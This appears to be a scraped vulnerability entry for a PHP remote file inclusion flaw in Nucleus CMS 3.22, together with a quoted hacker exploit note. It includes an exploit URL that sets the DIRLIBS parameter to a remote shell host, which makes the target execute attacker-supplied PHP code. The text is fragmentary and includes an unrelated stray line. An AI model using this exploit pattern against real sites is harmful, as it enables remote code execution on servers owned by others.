EUVD-2006-2582

Malware in sbrugna...

nucleus 3.22 >> RFI

VENDOR :http://nucleuscms.org/ BY : s3rv3rhack3r hackerz.ir admin bug: nucleus3.22/nucleus/plugins/skinfiles/index.php = include$DIRLIBS . 'PLUGINADMIN.php'; Exloit: http://victim/nucleus/plugins/skinfiles/index.php?DIRLIBS=http://shell...

Remote file inclusion

PHP remote file inclusion vulnerability in nucleus/libs/PLUGINADMIN.php in Nucleus 3.22 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALSDIRLIBS parameter...